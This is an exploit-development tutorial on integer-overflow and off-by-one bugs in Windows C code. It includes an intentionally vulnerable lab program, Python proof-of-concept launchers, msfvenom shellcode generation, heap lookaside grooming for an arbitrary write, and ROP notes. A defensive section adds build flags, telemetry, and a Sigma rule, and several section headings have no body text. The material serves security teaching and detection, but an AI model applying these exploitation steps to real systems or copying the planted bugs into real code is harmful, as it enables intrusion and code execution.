Integer Overflows and Off-by-One Errors: Turning Arithmetic Bugs into Memory Corruption

A buffer overflow is loud. An integer bug is quiet: a single multiplication that wraps, a <= where you wanted <, a signed int quietly promoted to a huge size_t. Nothing crashes at the arithmetic. The crash comes later, in the memcpy or the strcpy that trusted the number. That gap between the miscalculation and the corruption is exactly where the exploit lives.

Objective: Understand the full arithmetic-bug taxonomy (unsigned wrap, underflow, signedness confusion, truncation, off-by-one), then trigger and exploit a heap integer overflow and a stack off-by-one against an intentionally vulnerable Windows lab binary, and finish by knowing the compiler flags, OS mitigations, and telemetry that surface these bugs.

1. Integer Bug Taxonomy

C integers are fixed-width machine words. Arithmetic on them wraps at the word boundary with no exception, no flag you have to read, nothing. On a 32-bit target the relevant limits are:

• UINT_MAX = 0xFFFFFFFF
• INT_MAX = 0x7FFFFFFF
• SIZE_MAX (32-bit) = 0xFFFFFFFF

Unless a type is explicitly unsigned, it is signed. The moment a signed value meets an unsigned context (a function taking size_t, a comparison against an unsigned length) the compiler inserts an implicit cast, and that cast is where attacker-controlled negatives turn into enormous positives.

The pattern that produces real corruption is almost always the same: a length is computed with one of these bugs, the allocation uses the wrong (small) number, and the copy uses the right (large) number. The allocator hands you a chunk sized for the wrapped value; the copy writes the pre-wrap value. Everything past the chunk boundary is somebody else’s memory.

2. From Bad Math to Mis-Sized Allocation

Two idioms cause the overwhelming majority of these bugs in production C.

The multiply-then-allocate idiom. Code that manages an array of records computes count * item_size and passes it to the allocator. If count is attacker-controlled and unvalidated, a large count wraps the product. malloc(0) or HeapAlloc(h, 0, 4) still returns a valid, usable pointer, so nothing looks wrong until the population loop runs count iterations.

The strlen / strcpy inconsistency. strlen returns the length excluding the null terminator. strcpy writes the string including the terminator. Allocate strlen(input) bytes, strcpy into it, and you write exactly one byte past the end – the null terminator. That single null is a classic off-by-one, and on the stack it lands on the least significant byte of the saved frame pointer.

size_t len = strlen(input);                 // excludes the terminating '\0'
char *buf = HeapAlloc(GetProcessHeap(), 0, len);   // room for len bytes
strcpy(buf, input);                         // writes len + 1 bytes

That one-byte spill is not academic. On a 32-bit stack frame it clobbers EBP‘s low byte; on a heap chunk it clobbers the first byte of the adjacent chunk’s header.

3. Windows Heap Internals for Exploiters

To know what an overflow corrupts you need the shape of the allocations around it. HeapCreate returns a handle to a region whose header holds the segment table, virtual-allocation list, free-list bitmap, the FreeList table, and the lookaside table. HeapAlloc and HeapReAlloc carve chunks out of that heap. Allocations larger than 512 KB skip the heap entirely and go through VirtualAlloc.

Here is the exploiter’s leverage. The FreeList unlink validates Flink->Blink == chunk before removing an entry, and _HEAP_ENTRY carries a random XOR cookie checked on free. The lookaside list has neither. Overwrite the flink of an adjacent lookaside entry and the next HeapAlloc of that size hands you back your forged pointer. That is a write primitive with no metadata check in the way.

One honest caveat, because it will bite you: the classic lookaside primitive belongs to the Windows XP / Server 2003 heap. On Windows 10 the default backend is the Low Fragmentation Heap (LFH), which retires the lookaside model and moves the interesting metadata into _HEAP_SUBSEGMENT and per-bucket freelist encoding. The technique below is the canonical teaching primitive; reproduce it faithfully on a legacy heap or with the LFH disabled, and treat modern LFH corruption as the follow-on study.

4. The Vulnerable Lab Target

Build this yourself in an isolated VM. It ships all three bugs behind a mode selector.

// vuln_alloc.c  -- INTENTIONALLY VULNERABLE LAB TARGET
// cl /GS- /NXCOMPAT:NO /DYNAMICBASE:NO /Zi vuln_alloc.c
// Do NOT run outside an isolated lab VM.
#include <windows.h>
#include <stdio.h>
#include <string.h>

// Bug 1: integer multiplication overflow in the allocation size
void vuln_heap_intoverflow(unsigned int count, unsigned int item_size, char *src) {
    unsigned int alloc_sz = count * item_size;              // OVERFLOW: 0x40000001 * 4 -> 4
    char *buf = (char *)HeapAlloc(GetProcessHeap(), 0, alloc_sz);
    if (!buf) return;
    memcpy(buf, src, count);                                // copies count bytes into a 4-byte chunk
    printf("Done: %p\n", buf);
    HeapFree(GetProcessHeap(), 0, buf);
}

// Bug 2: off-by-one via strlen/strcpy inconsistency (heap)
void vuln_heap_offbyone(char *input) {
    size_t len = strlen(input);                             // excludes '\0'
    char *buf = (char *)HeapAlloc(GetProcessHeap(), 0, len);
    strcpy(buf, input);                                     // writes len + 1 bytes
    HeapFree(GetProcessHeap(), 0, buf);
}

// Bug 3: stack off-by-one (fence-post: <= instead of <)
void vuln_stack_offbyone(char *input, int len) {
    char buf[128];
    int i;
    for (i = 0; i <= len; i++)                              // one iteration too many
        buf[i] = input[i];                                 // buf[128] hits LSB of saved EBP
}

int main(int argc, char *argv[]) {
    if (argc < 3) { printf("Usage: vuln_alloc <mode> <payload>\n"); return 1; }
    int mode = atoi(argv[1]);
    if (mode == 1) vuln_heap_intoverflow(0x40000001, 4, argv[2]);
    if (mode == 2) vuln_heap_offbyone(argv[2]);
    if (mode == 3) vuln_stack_offbyone(argv[2], strlen(argv[2]));
    return 0;
}

Compile it x86, mitigations off, so the mechanics are visible without ASLR/DEP noise:

cl /GS- /NXCOMPAT:NO /DYNAMICBASE:NO /Zi vuln_alloc.c

/GS- drops the stack cookie, /NXCOMPAT:NO opts the process out of DEP, /DYNAMICBASE:NO disables ASLR so addresses are deterministic across runs.

5. Stack Off-by-One: NULL Byte EBP Pivot (Mode 3)

The 32-bit epilogue of vuln_stack_offbyone is leave; ret, which expands to:

leave            ; mov esp, ebp  /  pop ebp   (restores caller's saved EBP)
ret              ; pop eip

buf lives at [ebp - 0x88]. The loop runs i = 0 .. len inclusive. Feed a 128-byte string and the loop writes buf[0..128]. Index 128 is the C string’s terminating \0, and that null lands on the low byte of the saved EBP.

This is a frame-pointer overwrite, not a return-address overwrite, so it plays out across two frames. vuln_stack_offbyone‘s leave restores the corrupted EBP into the register, then its ret returns normally to main. Now main is running with a frame pointer that points lower into our controlled buffer. When main (or the immediate caller in the harness) runs its own leave; ret, esp is set from the corrupted EBP and ret pops a DWORD we control into EIP.

Step 1 – recon the frame in WinDbg.

windbg -g -G vuln_alloc.exe 3 AAAAAAAA
bp vuln_alloc!vuln_stack_offbyone
g
dv /V
k

Confirm buf at ebp-0x88 and note the exact saved EBP value. With /DYNAMICBASE:NO it is stable, something like 0x0019ff00.

Step 2 – prove the single-byte clobber.

# poc_stack.py
import subprocess
payload = b"A" * 128                       # fills buf[0..127]; the trailing '\0' hits buf[128]
subprocess.run(["vuln_alloc.exe", "3", payload.decode("latin-1")])

Step past the ret and watch EBP‘s low byte go to 0x00. Saved EBP of 0x0019ffXX becomes 0x0019ff00, sliding the frame down into our A block.

Step 3 – stage the payload. The delivery gotcha here is beautiful, and it cost me an afternoon the first time. The payload arrives through argv, so it is a C string: any embedded 0x00 truncates it before it reaches the copy. That means the shellcode must be null-free. Generate it accordingly, and notice the symmetry: the exact null byte that would break payload delivery is the same null the loop writes to corrupt EBP. You never place that null yourself; the string terminator does it for you.

msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00'

# poc_stack_exec.py
import subprocess

# null-free windows/exec calc.exe blob from msfvenom above
shellcode = b"\xbb....\xda....\x31\xc9..."   # paste the -b '\x00' output

nop_sled = b"\x90" * (128 - len(shellcode))
payload  = nop_sled + shellcode              # exactly 128 bytes
# the loop then writes payload[0..127] into buf and the string terminator into buf[128],
# zeroing the low byte of saved EBP and pivoting the frame into the sled.
subprocess.run(["vuln_alloc.exe", "3", payload.decode("latin-1")])

Step 4 – land it. After the pivot, esp sits inside buf (in the NOP sled region), and the DWORD ret consumes is a slid address that lands you back in the sled, which rides down into the shellcode. Catch the transfer with sxe av in WinDbg if it misbehaves; a clean run pops calc.exe.

Notice /GS- was not strictly required for the pivot: because we corrupt the saved frame pointer rather than the return address directly, a single null-byte overwrite frequently slips past the /GS cookie entirely, since the cookie sits between the locals and the saved registers and is never touched. That is exactly why off-by-one EBP overwrites still get taught.

6. Heap Integer Overflow: Under-Allocation to Arbitrary Write (Mode 1)

Mode 1 wraps 0x40000001 * 4 to 4, allocates a 4-byte chunk, then memcpys count (0x40000001) bytes into it. The write blows straight through the chunk into whatever follows.

Step 1 – confirm the arithmetic.

python3 -c "print(hex((0x40000001 * 4) & 0xFFFFFFFF))"
# 0x4

Step 2 – make the overflow visible with Page Heap. For debugging, turn on full page heap so every allocation is backed by VirtualAlloc with a guard page immediately after it. The returned pointer sits at end-of-page minus the requested size, so the very first out-of-bounds byte faults. This is the single most useful lab switch for pinning down the exact corruption offset.

gflags.exe /p /enable vuln_alloc.exe /full

Run mode 1 under WinDbg and you fault precisely at the chunk boundary, proving the primitive and the offset in one shot.

Step 3 – inspect the real (non-page-heap) layout. Disable page heap to study the exploitable state, then examine the returned chunk and its neighbour.

bp ntdll!RtlAllocateHeap
g
!heap -p -a @eax

Confirm the 4-byte allocation and that the adjacent _HEAP_ENTRY begins just past it.

Step 4 – groom the lookaside. Prime the lookaside bucket for the target size so the chunk after the victim is a freed lookaside entry with a known flink.

// heap grooming harness (legacy heap / LFH disabled)
HANDLE h = GetProcessHeap();
LPVOID spray[20];
for (int i = 0; i < 20; i++) spray[i] = HeapAlloc(h, 0, 0x10);
for (int i = 0; i < 20; i++) HeapFree(h, 0, spray[i]);   // populates lookaside[2]

Step 5 – overflow into the flink. Shape the memcpy source so the bytes that land in the neighbouring chunk overwrite its lookaside flink with a target address of your choosing, for example a writable function-pointer table in .data. Because the lookaside path performs no safe-unlinking and no cookie validation, that forged flink is accepted verbatim.

Step 6 – collect the write. The next HeapAlloc of that size unlinks your forged entry and returns your target address. Writing into that “allocation” is an arbitrary write. Point it at a function pointer, then trigger the pointer, and you have execution. In the lab, calc.exe on that trigger is your proof.

Step 7 – the DEP-on extension. Compiled /NXCOMPAT:NO, shellcode on the heap runs directly. Flip DEP back on and you need a ROP chain to make memory executable first:

ROPgadget --binary vuln_alloc.exe --rop

The standard chain sets up a __stdcall call to VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &old), then falls through into the now-executable shellcode. VirtualAlloc with PAGE_EXECUTE_READWRITE is the alternative when you would rather stage fresh executable memory than remark existing pages.

7. Modern Mitigation Landscape

Everything above assumes mitigations off. Turn them on and each step gains a cost.

8. Common Attacker Techniques

9. Defensive Strategies & Detection

Build-time is where you win cheaply: compile with /sdl (MSVC) or -fsanitize=integer,undefined (Clang/GCC) to trap wraps and signed overflow at runtime, replace strcpy/memcpy with strcpy_s/memcpy_s, and enable HeapSetInformation(NULL, HeapEnableTerminationOnCorruption, NULL, 0) so metadata corruption kills the process instead of feeding an exploit. Ship /GS, /DYNAMICBASE, /NXCOMPAT, and /guard:cf, and treat __declspec(safebuffers) as a code-review red flag.

At runtime you cannot see the arithmetic, so you watch the aftermath: crashes and unexpected child processes.

Sysmon Event IDs:

ETW providers worth wiring up: Microsoft-Windows-Kernel-Process ({22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}) for process/thread creation, Microsoft-Windows-WER-Diagnostics for the access-violation reports that heap corruption throws, and the ntdll HeapApi provider ({222962AB-6180-4B88-A825-346B75F2A24A}) traced via xperf/WPA for allocation/free forensics. Turn on 4688 first:

AuditPol /set /subcategory:"Process Creation" /success:enable /failure:enable

Sigma – hunt the spawned child:

title: Suspicious Child Process from Exploited Application
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\vuln_alloc.exe'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\calc.exe'
  condition: selection
fields:
  - ParentImage
  - Image
  - CommandLine
  - ParentCommandLine
falsepositives:
  - Legitimate application launching shells
level: high

10. Tools for Arithmetic Bug Analysis

11. MITRE ATT&CK Mapping

Cross-reference CWE-190 (Integer Overflow or Wraparound), CWE-191 (Integer Underflow), and CWE-193 (Off-by-one Error) in code review and static-analysis rulesets.

Summary

• Arithmetic bugs are root-cause memory-corruption bugs: the miscalculated length is the vulnerability, and the copy that trusts it is the corruption.
• Unsigned wrap, underflow, signedness confusion, and truncation all converge on one pattern: allocate for the wrong number, copy the right one.
• A single trailing null from strlen/strcpy overwrites the saved EBP low byte, pivots the frame, and can slip past /GS.
• A wrapped count * size under-allocates, and the follow-on memcpy corrupts the adjacent chunk; the lookaside flink has no cookie or safe-unlink, yielding an arbitrary write.
• Kill it at build time with /sdl, _s CRT functions, /GS, /DYNAMICBASE, /NXCOMPAT, /guard:cf; surface it at runtime with Page Heap, WER/ETW crash telemetry, and Sysmon 1/7/10 on the anomalous child process.

Related Tutorials

• Egghunters: Staged Payload Delivery When Buffer Space Is Tight
• Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
• Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
• Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
• Writing Your First Shellcode: x86 Reverse Shell from Scratch

References

• CWE-190: Integer Overflow or Wraparound (MITRE CWE)
• CWE-193: Off-by-One Error (MITRE CWE)
• CWE-680: Integer Overflow to Buffer Overflow (MITRE CWE)
• Exploitation for Privilege Escalation, Technique T1068 – MITRE ATT&CK Enterprise
• Understanding Integer Overflow in Windows Kernel Exploitation (White Knight Labs)
• OWASP Testing Guide v4.1: Testing for Heap Overflow